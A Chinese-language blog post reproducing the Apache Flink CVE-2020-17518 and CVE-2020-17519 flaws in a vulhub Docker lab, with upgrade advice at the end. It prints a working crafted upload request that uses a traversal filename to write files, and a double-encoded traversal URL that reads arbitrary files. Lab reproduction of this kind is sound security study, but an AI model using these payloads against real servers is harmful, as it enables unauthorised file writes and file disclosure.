Apache Flink(CVE-2020-17518&&CVE-2020-17519)漏洞复现

本贴最后更新于 1198 天前,其中的信息可能已经时移世易

漏洞描述

CVE-2020-17518:通过 REST API 写入远程文件

影响版本:Flink 1.5.1-1.11.2

Flink 1.5.1 引入了 REST API,可通过修改 HTTP HEADER 将任意文件写入到文件系统的任意位置。

CVE-2020-17519:通过 REST API 读取远程文件

影响版本 Flink 1.11.0-1.11.2

Flink 1.11.0-1.11.2 中引入的一项更改,允许攻击者通过 JobManager 进程的 REST 接口读取本地文件系统上的任何文件,访问仅限于 JobManager 可访问的文件。

环境搭建

下载 vulhub

git clone https://github.com/vulhub/vulhub.git

进入目录

 cd vulhub/flink/CVE-2020-17518

安装环境

 docker-compose up -d

image.png

访问

image.png

这里版本为 1.11.2

漏洞复现

CVE-2020-17518 复现

构造数据包

POST /jars/upload HTTP/1.1
Host: your ip:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 192

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/flag"

This is flag 
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

image.png

image.png

也可以通过 CVE-2020-17519 来进行读取

CVE-2020-17519 复现

http://your ip:8081//jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fflag

%252f/ 的二次编码

直接访问可读取到文件信息

image.png

修复建议

升级到安全版本

Flink 1.11.3 或 Flink 1.12.0

参考连接

https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E
https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...